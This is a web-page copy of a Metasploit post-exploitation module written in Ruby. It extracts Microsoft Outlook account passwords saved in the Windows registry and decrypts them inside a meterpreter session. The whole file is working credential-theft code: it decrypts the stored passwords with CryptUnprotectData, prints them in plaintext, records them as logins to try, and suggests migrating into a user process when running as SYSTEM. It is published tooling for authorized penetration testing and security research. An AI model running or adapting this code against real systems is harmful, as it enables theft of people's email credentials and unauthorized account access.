Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/outlook.rb
19612 views
1
# -*- coding: binary -*-
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::Windows::Registry
10
include Msf::Post::Windows::Priv
11
include Msf::Auxiliary::Report
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Windows Gather Microsoft Outlook Saved Password Extraction',
18
'Description' => %q{
19
This module extracts and decrypts saved Microsoft
20
Outlook (versions 2002-2010) passwords from the Windows
21
Registry for POP3/IMAP/SMTP/HTTP accounts.
22
In order for decryption to be successful, this module must be
23
executed under the same privileges as the user which originally
24
encrypted the password.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [ 'Justin Cacak' ], # Updated to work with newer versions of Outlook (2013, 2016, Office 365)
28
'Platform' => [ 'win' ],
29
'SessionTypes' => [ 'meterpreter' ],
30
'Notes' => {
31
'Stability' => [CRASH_SAFE],
32
'SideEffects' => [],
33
'Reliability' => []
34
},
35
'Compat' => {
36
'Meterpreter' => {
37
'Commands' => %w[
38
stdapi_railgun_api
39
stdapi_sys_config_getuid
40
stdapi_sys_process_attach
41
stdapi_sys_process_get_processes
42
stdapi_sys_process_getpid
43
stdapi_sys_process_memory_allocate
44
stdapi_sys_process_memory_read
45
stdapi_sys_process_memory_write
46
]
47
}
48
}
49
)
50
)
51
end
52
53
def prepare_railgun
54
if !session.railgun.get_dll('crypt32')
55
session.railgun.add_dll('crypt32')
56
end
57
end
58
59
def decrypt_password(data)
60
pid = client.sys.process.getpid
61
process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
62
63
mem = process.memory.allocate(128)
64
process.memory.write(mem, data)
65
66
if session.sys.process.each_process.find { |i| i['pid'] == pid }['arch'] == 'x86'
67
addr = [mem].pack('V')
68
len = [data.length].pack('V')
69
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
70
len, addr = ret['pDataOut'].unpack('V2')
71
else
72
addr = [mem].pack('Q')
73
len = [data.length].pack('Q')
74
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
75
len, addr = ret['pDataOut'].unpack('Q2')
76
end
77
78
return '' if len == 0
79
80
decrypted_pw = process.memory.read(addr, len)
81
return decrypted_pw
82
end
83
84
# Just a wrapper to avoid copy pasta and long lines
85
def get_valdata(key, name)
86
registry_getvaldata("#{@key_base}\\#{key}", name)
87
end
88
89
def get_registry(outlook_ver)
90
# Determine if saved accounts exist within Outlook. Ignore the Address Book and Personal Folder registry entries.
91
outlook_exists = 0
92
saved_accounts = 0
93
94
# Check for registry key based on Outlook version pulled from registry
95
@key_base = "HKCU\\Software\\Microsoft\\Office\\#{outlook_ver}.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
96
next_account_id = get_valdata('', 'NextAccountID')
97
98
# Default to original registry key for module
99
if next_account_id.nil?
100
@key_base = 'HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676'
101
next_account_id = get_valdata('', 'NextAccountID')
102
end
103
104
if !next_account_id.nil?
105
# Microsoft Outlook not found
106
107
print_status 'Microsoft Outlook found in Registry...'
108
outlook_exists = 1
109
registry_enumkeys(@key_base).each do |k|
110
display_name = get_valdata(k, 'Display Name')
111
112
if display_name.nil?
113
# Microsoft Outlook found, but no account data saved in this location
114
next
115
end
116
117
# Account found - parse through registry data to determine account type. Parse remaining registry data after to speed up module.
118
saved_accounts = 1
119
got_user_pw = 0
120
121
displayname = get_valdata(k, 'Display Name')
122
email = get_valdata(k, 'Email')
123
pop3_server = get_valdata(k, 'POP3 Server')
124
smtp_server = get_valdata(k, 'SMTP Server')
125
http_server_url = get_valdata(k, 'HTTP Server URL')
126
imap_server = get_valdata(k, 'IMAP Server')
127
smtp_use_auth = get_valdata(k, 'SMTP Use Auth')
128
if !smtp_use_auth.nil?
129
smtp_user = get_valdata(k, 'SMTP User')
130
smtp_password = get_valdata(k, 'SMTP Password')
131
smtp_auth_method = get_valdata(k, 'SMTP Auth Method')
132
end
133
134
if !pop3_server.nil?
135
type = 'POP3'
136
elsif !http_server_url.nil?
137
type = 'HTTP'
138
elsif !imap_server.nil?
139
type = 'IMAP'
140
else
141
type = 'UNKNOWN'
142
end
143
144
# Decrypt password and output results. Need to do each separately due to the way Microsoft stores them.
145
print_good('Account Found:')
146
print_status(" Type: #{type}")
147
print_status(" User Display Name: #{displayname}")
148
print_status(" User Email Address: #{email}")
149
150
if type == 'POP3'
151
pop3_pw = get_valdata(k, 'POP3 Password')
152
pop3_user = get_valdata(k, 'POP3 User')
153
pop3_use_spa = get_valdata(k, 'POP3 Use SPA')
154
smtp_port = get_valdata(k, 'SMTP Port')
155
156
print_status(" User Name: #{pop3_user}")
157
if pop3_pw.nil?
158
print_status(' User Password: <not stored>')
159
else
160
pop3_pw.slice!(0, 1)
161
pass = decrypt_password(pop3_pw)
162
print_status(" User Password: #{pass}")
163
# Prepare data for creds
164
got_user_pw = 1
165
host = pop3_server
166
user = pop3_user
167
end
168
169
if !pop3_use_spa.nil? # Account for SPA (NTLM auth)
170
print_status(' Secure Password Authentication (SPA): Enabled')
171
end
172
173
print_status(" Incoming Mail Server (POP3): #{pop3_server}")
174
175
pop3_use_ssl = get_valdata(k, 'POP3 Use SSL')
176
if pop3_use_ssl.nil?
177
print_status(' POP3 Use SSL: No')
178
else
179
print_status(' POP3 Use SSL: Yes')
180
end
181
182
pop3_port = get_valdata(k, 'POP3 Port')
183
if pop3_port.nil?
184
print_status(' POP3 Port: 110')
185
portnum = 110
186
else
187
print_status(" POP3 Port: #{pop3_port}")
188
portnum = pop3_port
189
end
190
191
if smtp_use_auth.nil? # Account for SMTP servers requiring authentication
192
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
193
else
194
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
195
# Check if smtp_auth_method is null. If so, the inbound credentials are utilized
196
if smtp_auth_method.nil?
197
smtp_user = pop3_user
198
smtp_decrypted_password = pass
199
else
200
smtp_password.slice!(0, 1)
201
smtp_decrypted_password = decrypt_password(smtp_password)
202
end
203
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
204
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
205
end
206
207
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
208
if smtp_use_ssl.nil?
209
print_status(' SMTP Use SSL: No')
210
else
211
print_status(' SMTP Use SSL: Yes')
212
end
213
214
if smtp_port.nil?
215
print_status(' SMTP Port: 25')
216
smtp_port = 25
217
else
218
print_status(" SMTP Port: #{smtp_port}")
219
end
220
221
elsif type == 'HTTP'
222
http_password = get_valdata(k, 'HTTP Password')
223
http_user = get_valdata(k, 'HTTP User')
224
http_use_spa = get_valdata(k, 'HTTP Use SPA')
225
226
print_status(" User Name: #{http_user}")
227
if http_password.nil?
228
print_status(' User Password: <not stored>')
229
else
230
http_password.slice!(0, 1)
231
pass = decrypt_password(http_password)
232
print_status(" User Password: #{pass}")
233
got_user_pw = 1
234
host = http_server_url
235
user = http_user
236
237
# Detect 80 or 443 for creds
238
http_server_url.downcase!
239
if http_server_url.include? "h\x00t\x00t\x00p\x00s"
240
portnum = 443
241
else
242
portnum = 80
243
end
244
end
245
246
if !http_use_spa.nil? # Account for SPA (NTLM auth)
247
print_status(' Secure Password Authentication (SPA): Enabled')
248
end
249
250
print_status(" HTTP Server URL: #{http_server_url}")
251
252
elsif type == 'IMAP'
253
imap_user = get_valdata(k, 'IMAP User')
254
imap_use_spa = get_valdata(k, 'IMAP Use SPA')
255
imap_password = get_valdata(k, 'IMAP Password')
256
smtp_port = get_valdata(k, 'SMTP Port')
257
258
print_status(" User Name: #{imap_user}")
259
if imap_password.nil?
260
print_status(' User Password: <not stored>')
261
else
262
imap_password.slice!(0, 1)
263
pass = decrypt_password(imap_password)
264
print_status(" User Password: #{pass}")
265
got_user_pw = 1
266
host = imap_server
267
user = imap_user
268
end
269
270
if !imap_use_spa.nil? # Account for SPA (NTLM auth)
271
print_status(' Secure Password Authentication (SPA): Enabled')
272
end
273
274
print_status(" Incoming Mail Server (IMAP): #{imap_server}")
275
276
imap_use_ssl = get_valdata(k, 'IMAP Use SSL')
277
if imap_use_ssl.nil?
278
print_status(' IMAP Use SSL: No')
279
else
280
print_status(' IMAP Use SSL: Yes')
281
end
282
283
imap_port = get_valdata(k, 'IMAP Port')
284
if imap_port.nil?
285
print_status(' IMAP Port: 143')
286
portnum = 143
287
else
288
print_status(" IMAP Port: #{imap_port}")
289
portnum = imap_port
290
end
291
292
if smtp_use_auth.nil? # Account for SMTP servers requiring authentication
293
print_status(" Outgoing Mail Server (SMTP): #{smtp_server}")
294
else
295
print_status(" Outgoing Mail Server (SMTP): #{smtp_server} [Authentication Required]")
296
# Check if smtp_auth_method is null. If so, the inbound credentials are utilized
297
if smtp_auth_method.nil?
298
smtp_user = imap_user
299
smtp_decrypted_password = pass
300
else
301
smtp_password.slice!(0, 1)
302
smtp_decrypted_password = decrypt_password(smtp_password)
303
end
304
print_status(" Outgoing Mail Server (SMTP) User Name: #{smtp_user}")
305
print_status(" Outgoing Mail Server (SMTP) Password: #{smtp_decrypted_password}")
306
end
307
308
smtp_use_ssl = get_valdata(k, 'SMTP Use SSL')
309
if smtp_use_ssl.nil?
310
print_status(' SMTP Use SSL: No')
311
else
312
print_status(' SMTP Use SSL: Yes')
313
end
314
315
if smtp_port.nil?
316
print_status(' SMTP Port: 25')
317
smtp_port = 25
318
else
319
print_status(" SMTP Port: #{smtp_port}")
320
end
321
322
end
323
324
if got_user_pw == 1
325
service_data = {
326
address: Rex::Socket.getaddress(host),
327
port: portnum,
328
protocol: 'tcp',
329
service_name: type,
330
workspace_id: myworkspace_id
331
}
332
333
credential_data = {
334
origin_type: :session,
335
session_id: session_db_id,
336
post_reference_name: refname,
337
username: user,
338
private_data: pass,
339
private_type: :password
340
}
341
342
credential_core = create_credential(credential_data.merge(service_data))
343
344
login_data = {
345
core: credential_core,
346
access_level: 'User',
347
status: Metasploit::Model::Login::Status::UNTRIED
348
}
349
350
create_credential_login(login_data.merge(service_data))
351
end
352
353
if !smtp_use_auth.nil?
354
service_data = {
355
address: Rex::Socket.getaddress(smtp_server),
356
port: smtp_port,
357
protocol: 'tcp',
358
service_name: 'smtp',
359
workspace_id: myworkspace_id
360
}
361
362
credential_data = {
363
origin_type: :session,
364
session_id: session_db_id,
365
post_reference_name: refname,
366
username: smtp_user,
367
private_data: smtp_decrypted_password,
368
private_type: :password
369
}
370
371
credential_core = create_credential(credential_data.merge(service_data))
372
373
login_data = {
374
core: credential_core,
375
access_level: 'User',
376
status: Metasploit::Model::Login::Status::UNTRIED
377
}
378
379
create_credential_login(login_data.merge(service_data))
380
end
381
382
print_status('')
383
end
384
end
385
386
if outlook_exists == 0
387
print_status('Microsoft Outlook not installed or Exchange accounts are being used.')
388
elsif saved_accounts == 0
389
print_status('Microsoft Outlook installed however no accounts stored in Registry.')
390
end
391
end
392
393
def outlook_version
394
val = registry_getvaldata('HKCR\\Outlook.Application\\CurVer', '')
395
if !val.nil?
396
idx = val.rindex('.')
397
val[idx + 1..]
398
end
399
end
400
401
def run
402
# Get Outlook version from registry
403
outlook_ver = outlook_version
404
fail_with(Failure::NotFound, 'Microsoft Outlook version not found in registry.') if outlook_ver.nil?
405
406
print_status("Microsoft Outlook Version: #{outlook_ver}")
407
uid = session.sys.config.getuid # Get uid. Decryption will only work if executed under the same user account as the password was encrypted.
408
# **This isn't entirely true. The Master key and decryption can be retrieved using Mimikatz but it seems like more work than it's worth.
409
410
if is_system?
411
print_error("This module is running under #{uid}.")
412
print_error('Automatic decryption will not be possible.')
413
print_error('Migrate to a user process to achieve successful decryption (e.g. explorer.exe).')
414
else
415
print_status('Searching for Microsoft Outlook in Registry...')
416
prepare_railgun
417
get_registry(outlook_ver)
418
end
419
420
print_status('Complete')
421
end
422
end
423
424